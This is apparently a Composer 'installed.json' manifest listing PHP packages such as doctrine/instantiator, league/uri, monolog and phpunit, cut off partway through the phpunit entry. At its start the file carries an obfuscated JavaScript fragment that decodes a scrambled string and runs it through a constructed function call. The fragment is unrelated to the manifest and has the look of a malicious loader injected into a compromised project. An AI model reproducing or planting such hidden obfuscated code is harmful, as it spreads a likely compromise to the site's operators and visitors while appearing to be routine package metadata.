JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "packages": [ { "name": "doctrine/instantiator", "version": "1.4.1", "version_normalized": "1.4.1.0", "source": { "type": "git", "url": "https://github.com/doctrine/instantiator.git", "reference": "10dcfce151b967d20fde1b34ae6640712c3891bc" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/doctrine/instantiator/zipball/10dcfce151b967d20fde1b34ae6640712c3891bc", "reference": "10dcfce151b967d20fde1b34ae6640712c3891bc", "shasum": "" }, "require": { "php": "^7.1 || ^8.0" }, "require-dev": { "doctrine/coding-standard": "^9", "ext-pdo": "*", "ext-phar": "*", "phpbench/phpbench": "^0.16 || ^1", "phpstan/phpstan": "^1.4", "phpstan/phpstan-phpunit": "^1", "phpunit/phpunit": "^7.5 || ^8.5 || ^9.5", "vimeo/psalm": "^4.22" }, "time": "2022-03-03T08:28:38+00:00", "type": "library", "installation-source": "dist", "autoload": { "psr-4": { "Doctrine\\Instantiator\\": "src/Doctrine/Instantiator/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Marco Pivetta", "email": "ocramius@gmail.com", "homepage": "https://ocramius.github.io/" } ], "description": "A small, lightweight utility to instantiate objects in PHP without invoking their constructors", "homepage": "https://www.doctrine-project.org/projects/instantiator.html", "keywords": [ "constructor", "instantiate" ], "support": { "issues": "https://github.com/doctrine/instantiator/issues", "source": "https://github.com/doctrine/instantiator/tree/1.4.1" }, "funding": [ { "url": "https://www.doctrine-project.org/sponsorship.html", "type": "custom" }, { "url": "https://www.patreon.com/phpdoctrine", "type": "patreon" }, { "url": "https://tidelift.com/funding/github/packagist/doctrine%2Finstantiator", "type": "tidelift" } ], "install-path": "../doctrine/instantiator" }, { "name": "league/uri", "version": "6.5.0", "version_normalized": "6.5.0.0", "source": { "type": "git", "url": "https://github.com/thephpleague/uri.git", "reference": "c68ca445abb04817d740ddd6d0b3551826ef0c5a" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/thephpleague/uri/zipball/c68ca445abb04817d740ddd6d0b3551826ef0c5a", "reference": "c68ca445abb04817d740ddd6d0b3551826ef0c5a", "shasum": "" }, "require": { "ext-json": "*", "league/uri-interfaces": "^2.3", "php": "^7.3 || ^8.0", "psr/http-message": "^1.0" }, "conflict": { "league/uri-schemes": "^1.0" }, "require-dev": { "friendsofphp/php-cs-fixer": "^2.19 || ^3.0", "phpstan/phpstan": "^0.12.90", "phpstan/phpstan-phpunit": "^0.12.22", "phpstan/phpstan-strict-rules": "^0.12.11", "phpunit/phpunit": "^8.0 || ^9.0", "psr/http-factory": "^1.0" }, "suggest": { "ext-fileinfo": "Needed to create Data URI from a filepath", "ext-intl": "Needed to improve host validation", "league/uri-components": "Needed to easily manipulate URI objects", "psr/http-factory": "Needed to use the URI factory" }, "time": "2021-08-27T09:54:07+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "6.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "League\\Uri\\": "src" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Ignace Nyamagana Butera", "email": "nyamsprod@gmail.com", "homepage": "https://nyamsprod.com" } ], "description": "URI manipulation library", "homepage": "http://uri.thephpleague.com", "keywords": [ "data-uri", "file-uri", "ftp", "hostname", "http", "https", "middleware", "parse_str", "parse_url", "psr-7", "query-string", "querystring", "rfc3986", "rfc3987", "rfc6570", "uri", "uri-template", "url", "ws" ], "support": { "docs": "https://uri.thephpleague.com", "forum": "https://thephpleague.slack.com", "issues": "https://github.com/thephpleague/uri/issues", "source": "https://github.com/thephpleague/uri/tree/6.5.0" }, "funding": [ { "url": "https://github.com/sponsors/nyamsprod", "type": "github" } ], "install-path": "../league/uri" }, { "name": "league/uri-interfaces", "version": "2.3.0", "version_normalized": "2.3.0.0", "source": { "type": "git", "url": "https://github.com/thephpleague/uri-interfaces.git", "reference": "00e7e2943f76d8cb50c7dfdc2f6dee356e15e383" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/thephpleague/uri-interfaces/zipball/00e7e2943f76d8cb50c7dfdc2f6dee356e15e383", "reference": "00e7e2943f76d8cb50c7dfdc2f6dee356e15e383", "shasum": "" }, "require": { "ext-json": "*", "php": "^7.2 || ^8.0" }, "require-dev": { "friendsofphp/php-cs-fixer": "^2.19", "phpstan/phpstan": "^0.12.90", "phpstan/phpstan-phpunit": "^0.12.19", "phpstan/phpstan-strict-rules": "^0.12.9", "phpunit/phpunit": "^8.5.15 || ^9.5" }, "suggest": { "ext-intl": "to use the IDNA feature", "symfony/intl": "to use the IDNA feature via Symfony Polyfill" }, "time": "2021-06-28T04:27:21+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "2.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "League\\Uri\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Ignace Nyamagana Butera", "email": "nyamsprod@gmail.com", "homepage": "https://nyamsprod.com" } ], "description": "Common interface for URI representation", "homepage": "http://github.com/thephpleague/uri-interfaces", "keywords": [ "rfc3986", "rfc3987", "uri", "url" ], "support": { "issues": "https://github.com/thephpleague/uri-interfaces/issues", "source": "https://github.com/thephpleague/uri-interfaces/tree/2.3.0" }, "funding": [ { "url": "https://github.com/sponsors/nyamsprod", "type": "github" } ], "install-path": "../league/uri-interfaces" }, { "name": "masterminds/html5", "version": "2.7.5", "version_normalized": "2.7.5.0", "source": { "type": "git", "url": "https://github.com/Masterminds/html5-php.git", "reference": "f640ac1bdddff06ea333a920c95bbad8872429ab" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/Masterminds/html5-php/zipball/f640ac1bdddff06ea333a920c95bbad8872429ab", "reference": "f640ac1bdddff06ea333a920c95bbad8872429ab", "shasum": "" }, "require": { "ext-ctype": "*", "ext-dom": "*", "ext-libxml": "*", "php": ">=5.3.0" }, "require-dev": { "phpunit/phpunit": "^4.8.35 || ^5.7.21 || ^6 || ^7" }, "time": "2021-07-01T14:25:37+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "2.7-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Masterminds\\": "src" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Matt Butcher", "email": "technosophos@gmail.com" }, { "name": "Matt Farina", "email": "matt@mattfarina.com" }, { "name": "Asmir Mustafic", "email": "goetas@gmail.com" } ], "description": "An HTML5 parser and serializer.", "homepage": "http://masterminds.github.io/html5-php", "keywords": [ "HTML5", "dom", "html", "parser", "querypath", "serializer", "xml" ], "support": { "issues": "https://github.com/Masterminds/html5-php/issues", "source": "https://github.com/Masterminds/html5-php/tree/2.7.5" }, "install-path": "../masterminds/html5" }, { "name": "monolog/monolog", "version": "2.5.0", "version_normalized": "2.5.0.0", "source": { "type": "git", "url": "https://github.com/Seldaek/monolog.git", "reference": "4192345e260f1d51b365536199744b987e160edc" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/Seldaek/monolog/zipball/4192345e260f1d51b365536199744b987e160edc", "reference": "4192345e260f1d51b365536199744b987e160edc", "shasum": "" }, "require": { "php": ">=7.2", "psr/log": "^1.0.1 || ^2.0 || ^3.0" }, "provide": { "psr/log-implementation": "1.0.0 || 2.0.0 || 3.0.0" }, "require-dev": { "aws/aws-sdk-php": "^2.4.9 || ^3.0", "doctrine/couchdb": "~1.0@dev", "elasticsearch/elasticsearch": "^7", "graylog2/gelf-php": "^1.4.2", "mongodb/mongodb": "^1.8", "php-amqplib/php-amqplib": "~2.4 || ^3", "php-console/php-console": "^3.1.3", "phpspec/prophecy": "^1.6.1", "phpstan/phpstan": "^0.12.91", "phpunit/phpunit": "^8.5", "predis/predis": "^1.1", "rollbar/rollbar": "^1.3 || ^2 || ^3", "ruflin/elastica": ">=0.90@dev", "swiftmailer/swiftmailer": "^5.3|^6.0" }, "suggest": { "aws/aws-sdk-php": "Allow sending log messages to AWS services like DynamoDB", "doctrine/couchdb": "Allow sending log messages to a CouchDB server", "elasticsearch/elasticsearch": "Allow sending log messages to an Elasticsearch server via official client", "ext-amqp": "Allow sending log messages to an AMQP server (1.0+ required)", "ext-curl": "Required to send log messages using the IFTTTHandler, the LogglyHandler, the SendGridHandler, the SlackWebhookHandler or the TelegramBotHandler", "ext-mbstring": "Allow to work properly with unicode symbols", "ext-mongodb": "Allow sending log messages to a MongoDB server (via driver)", "ext-openssl": "Required to send log messages using SSL", "ext-sockets": "Allow sending log messages to a Syslog server (via UDP driver)", "graylog2/gelf-php": "Allow sending log messages to a GrayLog2 server", "mongodb/mongodb": "Allow sending log messages to a MongoDB server (via library)", "php-amqplib/php-amqplib": "Allow sending log messages to an AMQP server using php-amqplib", "php-console/php-console": "Allow sending log messages to Google Chrome", "rollbar/rollbar": "Allow sending log messages to Rollbar", "ruflin/elastica": "Allow sending log messages to an Elastic Search server" }, "time": "2022-04-08T15:43:54+00:00", "type": "library", "extra": { "branch-alias": { "dev-main": "2.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Monolog\\": "src/Monolog" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Jordi Boggiano", "email": "j.boggiano@seld.be", "homepage": "https://seld.be" } ], "description": "Sends your logs to files, sockets, inboxes, databases and various web services", "homepage": "https://github.com/Seldaek/monolog", "keywords": [ "log", "logging", "psr-3" ], "support": { "issues": "https://github.com/Seldaek/monolog/issues", "source": "https://github.com/Seldaek/monolog/tree/2.5.0" }, "funding": [ { "url": "https://github.com/Seldaek", "type": "github" }, { "url": "https://tidelift.com/funding/github/packagist/monolog/monolog", "type": "tidelift" } ], "install-path": "../monolog/monolog" }, { "name": "myclabs/deep-copy", "version": "1.11.0", "version_normalized": "1.11.0.0", "source": { "type": "git", "url": "https://github.com/myclabs/DeepCopy.git", "reference": "14daed4296fae74d9e3201d2c4925d1acb7aa614" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/myclabs/DeepCopy/zipball/14daed4296fae74d9e3201d2c4925d1acb7aa614", "reference": "14daed4296fae74d9e3201d2c4925d1acb7aa614", "shasum": "" }, "require": { "php": "^7.1 || ^8.0" }, "conflict": { "doctrine/collections": "<1.6.8", "doctrine/common": "<2.13.3 || >=3,<3.2.2" }, "require-dev": { "doctrine/collections": "^1.6.8", "doctrine/common": "^2.13.3 || ^3.2.2", "phpunit/phpunit": "^7.5.20 || ^8.5.23 || ^9.5.13" }, "time": "2022-03-03T13:19:32+00:00", "type": "library", "installation-source": "dist", "autoload": { "files": [ "src/DeepCopy/deep_copy.php" ], "psr-4": { "DeepCopy\\": "src/DeepCopy/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "description": "Create deep copies (clones) of your objects", "keywords": [ "clone", "copy", "duplicate", "object", "object graph" ], "support": { "issues": "https://github.com/myclabs/DeepCopy/issues", "source": "https://github.com/myclabs/DeepCopy/tree/1.11.0" }, "funding": [ { "url": "https://tidelift.com/funding/github/packagist/myclabs/deep-copy", "type": "tidelift" } ], "install-path": "../myclabs/deep-copy" }, { "name": "nikic/php-parser", "version": "v4.13.2", "version_normalized": "4.13.2.0", "source": { "type": "git", "url": "https://github.com/nikic/PHP-Parser.git", "reference": "210577fe3cf7badcc5814d99455df46564f3c077" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/nikic/PHP-Parser/zipball/210577fe3cf7badcc5814d99455df46564f3c077", "reference": "210577fe3cf7badcc5814d99455df46564f3c077", "shasum": "" }, "require": { "ext-tokenizer": "*", "php": ">=7.0" }, "require-dev": { "ircmaxell/php-yacc": "^0.0.7", "phpunit/phpunit": "^6.5 || ^7.0 || ^8.0 || ^9.0" }, "time": "2021-11-30T19:35:32+00:00", "bin": [ "bin/php-parse" ], "type": "library", "extra": { "branch-alias": { "dev-master": "4.9-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "PhpParser\\": "lib/PhpParser" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Nikita Popov" } ], "description": "A PHP parser written in PHP", "keywords": [ "parser", "php" ], "support": { "issues": "https://github.com/nikic/PHP-Parser/issues", "source": "https://github.com/nikic/PHP-Parser/tree/v4.13.2" }, "install-path": "../nikic/php-parser" }, { "name": "phar-io/manifest", "version": "2.0.3", "version_normalized": "2.0.3.0", "source": { "type": "git", "url": "https://github.com/phar-io/manifest.git", "reference": "97803eca37d319dfa7826cc2437fc020857acb53" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/phar-io/manifest/zipball/97803eca37d319dfa7826cc2437fc020857acb53", "reference": "97803eca37d319dfa7826cc2437fc020857acb53", "shasum": "" }, "require": { "ext-dom": "*", "ext-phar": "*", "ext-xmlwriter": "*", "phar-io/version": "^3.0.1", "php": "^7.2 || ^8.0" }, "time": "2021-07-20T11:28:43+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "2.0.x-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Arne Blankerts", "email": "arne@blankerts.de", "role": "Developer" }, { "name": "Sebastian Heuer", "email": "sebastian@phpeople.de", "role": "Developer" }, { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "Developer" } ], "description": "Component for reading phar.io manifest information from a PHP Archive (PHAR)", "support": { "issues": "https://github.com/phar-io/manifest/issues", "source": "https://github.com/phar-io/manifest/tree/2.0.3" }, "install-path": "../phar-io/manifest" }, { "name": "phar-io/version", "version": "3.2.1", "version_normalized": "3.2.1.0", "source": { "type": "git", "url": "https://github.com/phar-io/version.git", "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/phar-io/version/zipball/4f7fd7836c6f332bb2933569e566a0d6c4cbed74", "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74", "shasum": "" }, "require": { "php": "^7.2 || ^8.0" }, "time": "2022-02-21T01:04:05+00:00", "type": "library", "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Arne Blankerts", "email": "arne@blankerts.de", "role": "Developer" }, { "name": "Sebastian Heuer", "email": "sebastian@phpeople.de", "role": "Developer" }, { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "Developer" } ], "description": "Library for handling version information and constraints", "support": { "issues": "https://github.com/phar-io/version/issues", "source": "https://github.com/phar-io/version/tree/3.2.1" }, "install-path": "../phar-io/version" }, { "name": "phpdocumentor/reflection-common", "version": "2.2.0", "version_normalized": "2.2.0.0", "source": { "type": "git", "url": "https://github.com/phpDocumentor/ReflectionCommon.git", "reference": "1d01c49d4ed62f25aa84a747ad35d5a16924662b" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/phpDocumentor/ReflectionCommon/zipball/1d01c49d4ed62f25aa84a747ad35d5a16924662b", "reference": "1d01c49d4ed62f25aa84a747ad35d5a16924662b", "shasum": "" }, "require": { "php": "^7.2 || ^8.0" }, "time": "2020-06-27T09:03:43+00:00", "type": "library", "extra": { "branch-alias": { "dev-2.x": "2.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "phpDocumentor\\Reflection\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Jaap van Otterdijk", "email": "opensource@ijaap.nl" } ], "description": "Common reflection classes used by phpdocumentor to reflect the code structure", "homepage": "http://www.phpdoc.org", "keywords": [ "FQSEN", "phpDocumentor", "phpdoc", "reflection", "static analysis" ], "support": { "issues": "https://github.com/phpDocumentor/ReflectionCommon/issues", "source": "https://github.com/phpDocumentor/ReflectionCommon/tree/2.x" }, "install-path": "../phpdocumentor/reflection-common" }, { "name": "phpdocumentor/reflection-docblock", "version": "5.3.0", "version_normalized": "5.3.0.0", "source": { "type": "git", "url": "https://github.com/phpDocumentor/ReflectionDocBlock.git", "reference": "622548b623e81ca6d78b721c5e029f4ce664f170" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/phpDocumentor/ReflectionDocBlock/zipball/622548b623e81ca6d78b721c5e029f4ce664f170", "reference": "622548b623e81ca6d78b721c5e029f4ce664f170", "shasum": "" }, "require": { "ext-filter": "*", "php": "^7.2 || ^8.0", "phpdocumentor/reflection-common": "^2.2", "phpdocumentor/type-resolver": "^1.3", "webmozart/assert": "^1.9.1" }, "require-dev": { "mockery/mockery": "~1.3.2", "psalm/phar": "^4.8" }, "time": "2021-10-19T17:43:47+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "5.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "phpDocumentor\\Reflection\\": "src" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Mike van Riel", "email": "me@mikevanriel.com" }, { "name": "Jaap van Otterdijk", "email": "account@ijaap.nl" } ], "description": "With this component, a library can provide support for annotations via DocBlocks or otherwise retrieve information that is embedded in a DocBlock.", "support": { "issues": "https://github.com/phpDocumentor/ReflectionDocBlock/issues", "source": "https://github.com/phpDocumentor/ReflectionDocBlock/tree/5.3.0" }, "install-path": "../phpdocumentor/reflection-docblock" }, { "name": "phpdocumentor/type-resolver", "version": "1.6.1", "version_normalized": "1.6.1.0", "source": { "type": "git", "url": "https://github.com/phpDocumentor/TypeResolver.git", "reference": "77a32518733312af16a44300404e945338981de3" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/phpDocumentor/TypeResolver/zipball/77a32518733312af16a44300404e945338981de3", "reference": "77a32518733312af16a44300404e945338981de3", "shasum": "" }, "require": { "php": "^7.2 || ^8.0", "phpdocumentor/reflection-common": "^2.0" }, "require-dev": { "ext-tokenizer": "*", "psalm/phar": "^4.8" }, "time": "2022-03-15T21:29:03+00:00", "type": "library", "extra": { "branch-alias": { "dev-1.x": "1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "phpDocumentor\\Reflection\\": "src" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Mike van Riel", "email": "me@mikevanriel.com" } ], "description": "A PSR-5 based resolver of Class names, Types and Structural Element Names", "support": { "issues": "https://github.com/phpDocumentor/TypeResolver/issues", "source": "https://github.com/phpDocumentor/TypeResolver/tree/1.6.1" }, "install-path": "../phpdocumentor/type-resolver" }, { "name": "phpspec/prophecy", "version": "v1.15.0", "version_normalized": "1.15.0.0", "source": { "type": "git", "url": "https://github.com/phpspec/prophecy.git", "reference": "bbcd7380b0ebf3961ee21409db7b38bc31d69a13" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/phpspec/prophecy/zipball/bbcd7380b0ebf3961ee21409db7b38bc31d69a13", "reference": "bbcd7380b0ebf3961ee21409db7b38bc31d69a13", "shasum": "" }, "require": { "doctrine/instantiator": "^1.2", "php": "^7.2 || ~8.0, <8.2", "phpdocumentor/reflection-docblock": "^5.2", "sebastian/comparator": "^3.0 || ^4.0", "sebastian/recursion-context": "^3.0 || ^4.0" }, "require-dev": { "phpspec/phpspec": "^6.0 || ^7.0", "phpunit/phpunit": "^8.0 || ^9.0" }, "time": "2021-12-08T12:19:24+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "1.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Prophecy\\": "src/Prophecy" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Konstantin Kudryashov", "email": "ever.zet@gmail.com", "homepage": "http://everzet.com" }, { "name": "Marcello Duarte", "email": "marcello.duarte@gmail.com" } ], "description": "Highly opinionated mocking framework for PHP 5.3+", "homepage": "https://github.com/phpspec/prophecy", "keywords": [ "Double", "Dummy", "fake", "mock", "spy", "stub" ], "support": { "issues": "https://github.com/phpspec/prophecy/issues", "source": "https://github.com/phpspec/prophecy/tree/v1.15.0" }, "install-path": "../phpspec/prophecy" }, { "name": "phpunit/php-code-coverage", "version": "9.2.15", "version_normalized": "9.2.15.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-code-coverage.git", "reference": "2e9da11878c4202f97915c1cb4bb1ca318a63f5f" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/2e9da11878c4202f97915c1cb4bb1ca318a63f5f", "reference": "2e9da11878c4202f97915c1cb4bb1ca318a63f5f", "shasum": "" }, "require": { "ext-dom": "*", "ext-libxml": "*", "ext-xmlwriter": "*", "nikic/php-parser": "^4.13.0", "php": ">=7.3", "phpunit/php-file-iterator": "^3.0.3", "phpunit/php-text-template": "^2.0.2", "sebastian/code-unit-reverse-lookup": "^2.0.2", "sebastian/complexity": "^2.0", "sebastian/environment": "^5.1.2", "sebastian/lines-of-code": "^1.0.3", "sebastian/version": "^3.0.1", "theseer/tokenizer": "^1.2.0" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "suggest": { "ext-pcov": "*", "ext-xdebug": "*" }, "time": "2022-03-07T09:28:20+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "9.2-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Library that provides collection, processing, and rendering functionality for PHP code coverage information.", "homepage": "https://github.com/sebastianbergmann/php-code-coverage", "keywords": [ "coverage", "testing", "xunit" ], "support": { "issues": "https://github.com/sebastianbergmann/php-code-coverage/issues", "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/9.2.15" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../phpunit/php-code-coverage" }, { "name": "phpunit/php-file-iterator", "version": "3.0.6", "version_normalized": "3.0.6.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-file-iterator.git", "reference": "cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/php-file-iterator/zipball/cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf", "reference": "cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "time": "2021-12-02T12:48:52+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "3.0-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "FilterIterator implementation that filters files based on a list of suffixes.", "homepage": "https://github.com/sebastianbergmann/php-file-iterator/", "keywords": [ "filesystem", "iterator" ], "support": { "issues": "https://github.com/sebastianbergmann/php-file-iterator/issues", "source": "https://github.com/sebastianbergmann/php-file-iterator/tree/3.0.6" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../phpunit/php-file-iterator" }, { "name": "phpunit/php-invoker", "version": "3.1.1", "version_normalized": "3.1.1.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-invoker.git", "reference": "5a10147d0aaf65b58940a0b72f71c9ac0423cc67" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/php-invoker/zipball/5a10147d0aaf65b58940a0b72f71c9ac0423cc67", "reference": "5a10147d0aaf65b58940a0b72f71c9ac0423cc67", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "ext-pcntl": "*", "phpunit/phpunit": "^9.3" }, "suggest": { "ext-pcntl": "*" }, "time": "2020-09-28T05:58:55+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "3.1-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Invoke callables with a timeout", "homepage": "https://github.com/sebastianbergmann/php-invoker/", "keywords": [ "process" ], "support": { "issues": "https://github.com/sebastianbergmann/php-invoker/issues", "source": "https://github.com/sebastianbergmann/php-invoker/tree/3.1.1" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../phpunit/php-invoker" }, { "name": "phpunit/php-text-template", "version": "2.0.4", "version_normalized": "2.0.4.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-text-template.git", "reference": "5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/php-text-template/zipball/5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28", "reference": "5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "time": "2020-10-26T05:33:50+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "2.0-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Simple template engine.", "homepage": "https://github.com/sebastianbergmann/php-text-template/", "keywords": [ "template" ], "support": { "issues": "https://github.com/sebastianbergmann/php-text-template/issues", "source": "https://github.com/sebastianbergmann/php-text-template/tree/2.0.4" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../phpunit/php-text-template" }, { "name": "phpunit/php-timer", "version": "5.0.3", "version_normalized": "5.0.3.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/php-timer.git", "reference": "5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/php-timer/zipball/5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2", "reference": "5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "time": "2020-10-26T13:16:10+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "5.0-dev" } }, "installation-source": "dist", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Utility class for timing", "homepage": "https://github.com/sebastianbergmann/php-timer/", "keywords": [ "timer" ], "support": { "issues": "https://github.com/sebastianbergmann/php-timer/issues", "source": "https://github.com/sebastianbergmann/php-timer/tree/5.0.3" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "install-path": "../phpunit/php-timer" }, { "name": "phpunit/phpunit", "version": "9.5.20", "version_normalized": "9.5.20.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/phpunit.git", "reference": "12bc8879fb65aef2138b26fc633cb1e3620cffba" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/12bc8879fb65aef2138b26fc633cb1e3620cffba", "reference": "12bc8879fb65aef2138b26fc633cb1e3620cffba", "shasum": "" }, "require": { "doctrine/instantiator": "^1.3.1", "ext-dom": "*", "ext-json": "*", "ext-libxml": "*", "ext-mbstring": "*", "ext-xml": "*", "ext-xmlwriter": "*", "myclabs/deep-copy": "^1.10.1", "phar-io/manifest": "^2.0.3", "phar-io/version": "^3.0.2", "php": ">=7.3", "phpspec/prophecy": 